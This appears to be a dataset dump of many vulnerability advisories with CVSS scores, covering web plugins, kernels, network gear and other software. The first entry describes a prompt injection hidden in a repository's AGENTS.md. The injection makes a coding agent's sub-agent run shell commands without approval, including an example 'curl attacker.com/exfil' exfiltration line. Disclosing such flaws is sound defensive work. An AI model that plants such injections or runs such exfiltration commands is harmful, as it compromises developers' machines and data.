ansulev/circl-vulnerability-scores huggingface dataset:
GHSA-72w5-pf8h-xfp4: DeepSeek TUI: task_create Insecure Defaults Enable RCE via Prompt Injection in Project Files
SummaryThe `task_create` tool spawns durable sub-agents that inherit two insecure defaults:`allow_shell` defaults to `true` (`config.rs:1499`: `self.allow_shell.unwrap_or(true)`)`auto_approve` defaults to `true` (`task_manager.rs:297`: `auto_approve: Some(true)`)When a user approves a `task_create` call (which requires `ApprovalRequirement::Required`), they approve what appears to be a benign work prompt (e.g., "fix TODOs and write a README"). However, the spawned sub-agent silently receives unrestricted, unapproved shell access. Neither `allow_shell` nor `auto_approve` need to be explicitly specified by the model and both default to `true`.PoC**Step 1 — Create a malicious repo:**`Cargo.toml`:`src/lib.rs` (clean, no injection):`AGENTS.md` (prompt injection disguised as project workflow):**Step 2 — Open in DeepSeek-TUI:****Step 3 — Create a task:**The user sees an approval prompt for task creation — approve it. No `allow_shell` or `auto_approve` specified; both default to `true`.**Step 4 — Sub-agent executes attacker's payload:**The sub-agent reads `AGENTS.md`, follows the "documentation standard" instruction, and runs `curl` to the attacker's server. No approval prompt is shown.Collaborator receives callback at `/badge-gen?project=web-service`, confirming RCEImpactA developer clones a malicious repository, opens it in DeepSeek-TUI, and asks for any task-based work (refactoring, documentation, bug fixing). The full attack chain:User approves `task_create` which looks like "create a task to fix TODOs"Sub-agent spawns with `allow_shell=true` + `auto_approve=true` (defaults)Sub-agent reads `AGENTS.md` from its system prompt. This contains attacker-controlled instructions disguised as project conventionsSub-agent follows the instructions and runs shell commands (e.g., `curl attacker.com/exfil`)No approval prompt appears. The user only approved task creation, not shell executionThe user approved one thing (task creation) but implicitly granted unrestricted shell access to a sub-agent that follows attacker-controlled instructions. This crosses the approval security boundary.Suggested MitigationDefault `allow_shell` to `false` for durable tasks:Default `auto_approve` to `false` for durable tasks:When the model requests `task_create` with `allow_shell=true`, surface that in the approval prompt so the user knows they're granting shell access.
CVSS v3.1: 9.6
GHSA-9w29-7wpf-j8j8: Multiple cross-site scripting (XSS) vulnerabilities in David Bennett PHP-Post (PHPp) 1.0 and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the replyuser parameter in (a) pm.php; (2) the txt_jumpto parameter in (b) dropdown.php; the (3) txt_error and (4) txt_templatenotexist parameters in (c) template.php; the (5) split parameter in certain files, as demonstrated by (d) editprofile.php, (e) search.php, (f) index.php, and (g) pm.php; and the (6) txt_login parameter in (h) loginline.php; and allow remote authenticated users to inject arbitrary web script or HTML via the (7) txt_logout parameter in (i) loginline.php.
CVE-2022-22169: Junos OS and Junos OS Evolved: OSPFv3 session might go into INIT state upon receipt of multiple crafted packets from a trusted neighbor device.
An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who sends specific packets in certain orders and at specific timings to force OSPFv3 to unexpectedly enter graceful-restart (GR helper mode) even though there is not any Grace-LSA received in OSPFv3 causing a Denial of Service (DoS). Unexpectedly entering GR helper mode might cause the OSPFv3 neighbor adjacency formed on this interface to be stuck in the "INIT" state which can be observed by issuing the following command: user@device> show ospf3 neighbor ID Interface State xx.xx.xx.xx ae100.0 Init <<<<<<<<<< An indicator of compromise can be seen in log files when traceoptions for OSPFv3 are enabled before the issue occurs. These logfile messages are as follows: OSPF restart signaling: Received hello with LR bit set from nbr ip=xx::xx id=xx.xx.xx.xx. Set oob-resync capabilty 1. OSPF Restart Signaling: Start helper mode for nbr ip xx::xx id xx.xx.xx.xx OSPF restart signaling: abort helper mode for nbr ip=xx::xx id=xx.xx.xx.xx OSPF neighbor xx::xx (realm ipv6-unicast <interface.unit> area xx.xx.xx.xx) state changed from Full to Init due to 1WayRcvd (event reason: neighbor is in one-way mode) (nbr helped: 0) This issue affects: Juniper Networks Junos OS. 15.1 versions prior to 15.1R7-S11; 18.3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S10; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S4; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. This issue does not affect any version of Juniper Networks Junos OS 12.3. This issue affects Juniper Networks Junos OS Evolved all versions prior to 21.2R2-EVO.
CVSS v3.1: 5.9
CVE-2021-4374: WordPress Automatic Plugin <= 3.53.2 - Unauthenticated Arbitrary Options Update
The WordPress Automatic Plugin for WordPress is vulnerable to arbitrary options updates in versions up to, and including, 3.53.2. This is due to missing authorization and option validation in the process_form.php file. This makes it possible for unauthenticated attackers to arbitrarily update the settings of a vulnerable site and ultimately compromise the entire site.
CVSS v3.1: 9.1
CVE-2014-4061: Microsoft SQL Server 2008 SP3, 2008 R2 SP2, and 2012 SP1 does not properly control use of stack memory for processing of T-SQL batch commands, which allows remote authenticated users to cause a denial of service (daemon hang) via a crafted T-SQL statement, aka "Microsoft SQL Server Stack Overrun Vulnerability."
CVSS v2.0: 6.8
GHSA-86ch-6w7v-v6xf: Denial of Service in soketi
Impact_What kind of vulnerability is it? Who is impacted?_There was a wrong behavior when reading POST requests, making the server crash if it couldn't read the body. In case a POST request was sent to any endpoint of the server with an empty body, **even unauthenticated with the Pusher Protocol**, it would simply just crash the server for trying to send a response after the request closed.All users that run the server are affected by it and it's highly recommended to upgrade to the latest patch.Patches_Has the problem been patched? What versions should users upgrade to?_Updating to at least 0.24.1 or the latest version.Workarounds_Is there a way for users to fix or remediate the vulnerability without upgrading?_No. Upgrading is the only solution.References_Are there any links users can visit to find out more?_https://github.com/soketi/soketi/releases/tag/0.24.1For more informationIf you have any questions or comments about this advisory:Open an issue in [the issues board](https://github.com/soketi/soketi/issues)Email us at [alex@renoki.org](mailto:alex@renoki.org)
CVSS v3.1: 7.5
CVE-2018-3014: Vulnerability in the Oracle Hospitality OPERA 5 Property Services component of Oracle Hospitality Applications (subcomponent: Reports). The supported version that is affected is 5.5.x. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5 Property Services. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality OPERA 5 Property Services accessible data. CVSS 3.0 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
CVSS v3.0: 6.5
CVSS v2.0: 4
GHSA-wvhv-jqpm-79vj: The Frontend File Manager Plugin WordPress plugin before 21.3 allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server
CVSS v3.1: 5.3
CVE-2013-2754: Cross-site request forgery (CSRF) vulnerability in Umisoft UMI.CMS before 2.9 build 21905 allows remote attackers to hijack the authentication of administrators for requests that add administrator accounts via a request to admin/users/add/user/do/.
CVSS v2.0: 6.8
CVE-2025-59494: Azure Monitor Agent Elevation of Privilege Vulnerability
Improper access control in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.
CVSS v3.1: 7.8
GHSA-h64x-jg3j-c589: Memory corruption while handling schedule request in Camera Request Manager(CRM) due to invalid link count in the corresponding session.
CVSS v3.1: 6.6
GHSA-3588-2x8w-w62r: In the Linux kernel, the following vulnerability has been resolved:block: add pgmap check to biovec_phys_mergeablebiovec_phys_mergeable() is used by the request merge, DMA mapping,
and integrity merge paths to decide if two physically contiguous
bvec segments can be coalesced into one. It currently has no check
for whether the segments belong to different dev_pagemaps.When zone device memory is registered in multiple chunks, each chunk
gets its own dev_pagemap. A single bio can legitimately contain
bvecs from different pgmaps -- iov_iter_extract_bvecs() breaks at
pgmap boundaries but the outer loop in bio_iov_iter_get_pages()
continues filling the same bio. If such bvecs are physically
contiguous, biovec_phys_mergeable() will coalesce them, making it
impossible to recover the correct pgmap for the merged segment
via page_pgmap().Add a zone_device_pages_have_same_pgmap() check to prevent merging
bvec segments that span different pgmaps.
CVSS v3.1: 9.8
CVE-2015-9236: Hapi versions less than 11.0.0 implement CORS incorrectly and allowed for configurations that at best returned inconsistent headers and at worst allowed cross-origin activities that were expected to be forbidden. If the connection has CORS enabled but one route has it off, and the route is not GET, the OPTIONS prefetch request will return the default CORS headers and then the actual request will go through and return no CORS headers. This defeats the purpose of turning CORS on the route.
CVSS v3.0: 5.3
CVSS v2.0: 5
CVE-2022-45550: AyaCMS 3.1.2 is vulnerable to Remote Code Execution (RCE).
CVSS v3.1: 9.8
GHSA-jjw5-mvr7-pj78: Zoo Management System v1.0 has an arbitrary file upload vulnerability in the picture upload point of the "save_animal" file of the "Animals" module in the background management system.
CVSS v3.1: 7.2
CVE-2019-18821: Eximious Logo Designer 3.82 has a User Mode Write AV starting at ExiCustomPathLib!ExiCustomPathLib::CGradientColorsProfile::BuildGradientColorsTable+0x0000000000000053.
CVSS v3.1: 5.5
CVSS v2.0: 1.9
CVE-2024-7825: Type confusion that can cause the WRSA.exe service to crash and generate a crash dump
Access of Resource Using Incompatible Type ('Type Confusion') vulnerability in Webroot SecureAnywhere - Web Shield on Windows, ARM, 64 bit, 32 bit (wrUrl.Dll modules) allows Functionality Misuse.This issue affects SecureAnywhere - Web Shield: before 2.1.2.3.
CVSS v2.0: 6.2
GHSA-22jr-jqv2-c6r8: Missing Authentication for Critical Function vulnerability in ABB ALS-mini-s4 IP, ABB ALS-mini-s8 IP.This issue affects .All firmware versions with the Serial Number from 2000 to 5166
CVSS v4.0: 9.9
CVSS v3.1: 9.1
CVE-2024-45797: LibHTP's unbounded header handling leads to denial service
LibHTP is a security-aware parser for the HTTP protocol and the related bits and pieces. Prior to version 0.5.49, unbounded processing of HTTP request and response headers can lead to excessive CPU time and memory utilization, possibly leading to extreme slowdowns. This issue is addressed in 0.5.49.
CVSS v3.1: 7.5
CVE-2018-12309: Directory Traversal in upload.cgi in ASUSTOR ADM version 3.1.1 allows attackers to upload files to arbitrary locations by modifying the "path" URL parameter.  NOTE: the "filename" POST parameter is covered by CVE-2018-11345.
CVSS v3.0: 7.5
CVSS v2.0: 5
GHSA-8mj9-m673-h2gf: The vfprintf function in stdio-common/vfprintf.c in GNU C Library (aka glibc) 2.5, 2.12, and probably other versions does not "properly restrict the use of" the alloca function when allocating the SPECS array, which allows context-dependent attackers to bypass the FORTIFY_SOURCE format-string protection mechanism and cause a denial of service (crash) or possibly execute arbitrary code via a crafted format string using positional parameters and a large number of format specifiers, a different vulnerability than CVE-2012-3404 and CVE-2012-3405.
CVE-2025-22462: An authentication bypass in Ivanti Neurons for ITSM (on-prem only) before 2023.4, 2024.2 and 2024.3 with the May 2025 Security Patch allows a remote unauthenticated attacker to gain administrative access to the system.
CVSS v3.1: 9.8
CVE-2019-13311: ImageMagick 7.0.8-50 Q16 has memory leaks at AcquireMagickMemory because of a wand/mogrify.c error.
CVSS v3.1: 6.5
CVSS v2.0: 4.3
CVE-2006-2498: Invision Power Board (IPB) before 2.1.6 allows remote attackers to execute arbitrary PHP script via attack vectors involving (1) the post_icon variable in classes/post/class_post.php and (2) the df value in action_public/moderate.php.
CVSS v2.0: 6.4
CVE-2023-52471: ice: Fix some null pointer dereference issues in ice_ptp.c
In the Linux kernel, the following vulnerability has been resolved:

ice: Fix some null pointer dereference issues in ice_ptp.c

devm_kasprintf() returns a pointer to dynamically allocated memory
which can be NULL upon failure.
CVSS v3.1: 5.5
GHSA-rm24-8945-q3fx: ifconfig, when used on the Linux kernel 2.2 and later, does not report when the network interface is in promiscuous mode if it was put in promiscuous mode using PACKET_MR_PROMISC, which could allow attackers to sniff the network without detection, as demonstrated using libpcap.
GHSA-9mjq-cfj5-wqcj: Interview Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /interview/editQuestion.php.
CVSS v3.1: 7.2
CVE-2026-4140: Ni WooCommerce Order Export <= 3.1.6 - Cross-Site Request Forgery to Settings Update via ni_order_export_action AJAX Action
The Ni WooCommerce Order Export plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 3.1.6. This is due to missing nonce validation in the ni_order_export_action() AJAX handler function. The handler processes settings updates when the 'page' parameter is set to 'nioe-order-settings', delegating to Ni_Order_Setting::page_ajax() which calls update_option('ni_order_export_option', $_REQUEST) without verifying any nonce or checking user capabilities. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.
CVSS v3.1: 4.3
CVE-2019-4515: IBM Security Key Lifecycle Manager 3.0 and 3.0.1 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 165137.
CVSS v3.0: 4.3
GHSA-42cx-f4wf-mcfc: A vulnerability was found in code-projects Online Application System for Admission 1.0. Impacted is an unknown function of the file /enrollment/database/oas.sql. Performing a manipulation results in insecure storage of sensitive information. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
CVSS v4.0: 5.5
CVSS v3.1: 5.3
GHSA-27v8-7qqq-m35q: Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.
CVSS v4.0: 7.7
CVSS v3.1: 8.8
GHSA-43r3-f7j4-6552: An issue was discovered in janus-gateway (aka Janus WebRTC Server) through 0.10.0. janus_get_codec_from_pt in utils.c has a Buffer Overflow via long value in an SDP Offer packet.
GHSA-8pph-cg3c-vgrv: This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_php_pecl.php. When parsing the modulo parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9728.
CVSS v3.1: 9.8
RHSA-2025:15471: Red Hat Security Advisory: kernel security update
kernel: bpf: Don't use tnum_range on array range checking for poke descriptors kernel: posix-cpu-timers: fix race between handle_posix_cpu_timers() and posix_cpu_timer_del()
CVSS v3.1: 7.8
CVE-2025-24178: This issue was addressed through improved state management. This issue is fixed in iOS 18.4 and iPadOS 18.4, iPadOS 17.7.6, macOS Sequoia 15.4, macOS Sonoma 14.7.5, macOS Ventura 13.7.5, tvOS 18.4, watchOS 11.4. An app may be able to break out of its sandbox.
CVSS v3.1: 9.8
CVE-2025-43184: This issue was addressed by adding an additional prompt for user consent. This issue is fixed in macOS Sequoia 15.4, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. A shortcut may be able to bypass sensitive Shortcuts app settings.
CVSS v3.1: 9.8
CVE-2020-28276: Prototype pollution vulnerability in 'deep-set' versions 1.0.0 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
RHSA-2025:10217: Red Hat Security Advisory: ruby:3.3 security update
net-imap: Net::IMAP vulnerable to possible DoS by memory exhaustion CGI: Denial of Service in CGI::Cookie.parse uri: userinfo leakage in URI#join, URI#merge and URI#+
CVSS v3.1: 3.2
CVE-2023-36131: PHPJabbers Availability Booking Calendar 5.0 is vulnerable to Incorrect Access Control due to improper input validation of password parameter.
CVSS v3.1: 9.8
CVE-2024-30924: Cross Site Scripting vulnerability in DerbyNet v9.0 and below allows attackers to execute arbitrary code via the checkin.php component.
CVSS v3.1: 4.6
GHSA-2p9h-ccw7-33gf: cleo is vulnerable to Regular Expression Denial of Service (ReDoS)
An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the cleo PyPI package, when an attacker is able to supply arbitrary input to the Table.set_rows method.
CVSS v3.1: 5.9
cisco-sa-asa-ftd-ios-dos-kPEpQGGK: Cisco IOS, IOS XE, Secure Firewall Adaptive Security Appliance, and Secure Firewall Threat Defense Software IKEv2 Denial of Service Vulnerability
A vulnerability in the Internet Key Exchange version 2 (IKEv2) feature of Cisco IOS Software, Cisco IOS XE Software, Cisco Secure Firewall Adaptive Security Appliance (ASA) Software, and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to trigger a memory leak, resulting in a denial of service (DoS) condition on an affected device.

This vulnerability is due to improper parsing of IKEv2 packets. An attacker could exploit this vulnerability by sending crafted IKEv2 packets to an affected device. A successful exploit of Cisco IOS Software and IOS XE Software could allow the attacker to cause the affected device to reload, resulting in a DoS condition. A successful exploit of Cisco Secure Firewall ASA Software and Secure FTD Software could allow the attacker to partially exhaust system memory, resulting in system instability, such as the inability to establish new IKEv2 VPN sessions. A manual reboot of the device is required to recover from this condition.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.



This advisory is part of the March 2026 release of the Cisco IOS and IOS XE Software Security Advisory Bundled Publication. For a complete list of the advisories and links to them, see Cisco Event Response: March 2026 Semiannual Cisco IOS and IOS XE Software Security Advisory Bundled Publication ["https://sec.cloudapps.cisco.com/security/center/viewErp.x?alertId=ERP-75297"].
CVSS v3.1: 8.6
CVE-2018-20868: cPanel before 76.0.8 has Stored XSS in the WHM MultiPHP Manager interface (SEC-464).
CVSS v3.0: 6.1
CVSS v2.0: 4.3
CVE-2024-40544: PublicCMS v4.0.202302.e was discovered to contain a Server-Side Request Forgery (SSRF) via the component /admin/#maintenance_sysTask/edit.
CVSS v3.1: 8.8
CVE-2009-3046: Opera before 10.00 does not check all intermediate X.509 certificates for revocation, which makes it easier for remote SSL servers to bypass validation of the certificate chain via a revoked certificate.
CVSS v3.1: 7.5
CVSS v2.0: 5
GHSA-2hqr-548x-6625: Null Pointer Dereference. in xObjectBindingFromExpression at moddable/xs/sources/xsSyntaxical.c:3419 in Moddable SDK before OS200908 causes a denial of service (SEGV).
GHSA-hq58-x65j-h22q: MultiMC Launcher <= 0.6.16 is vulnerable to Directory Traversal.
CVSS v3.1: 7.5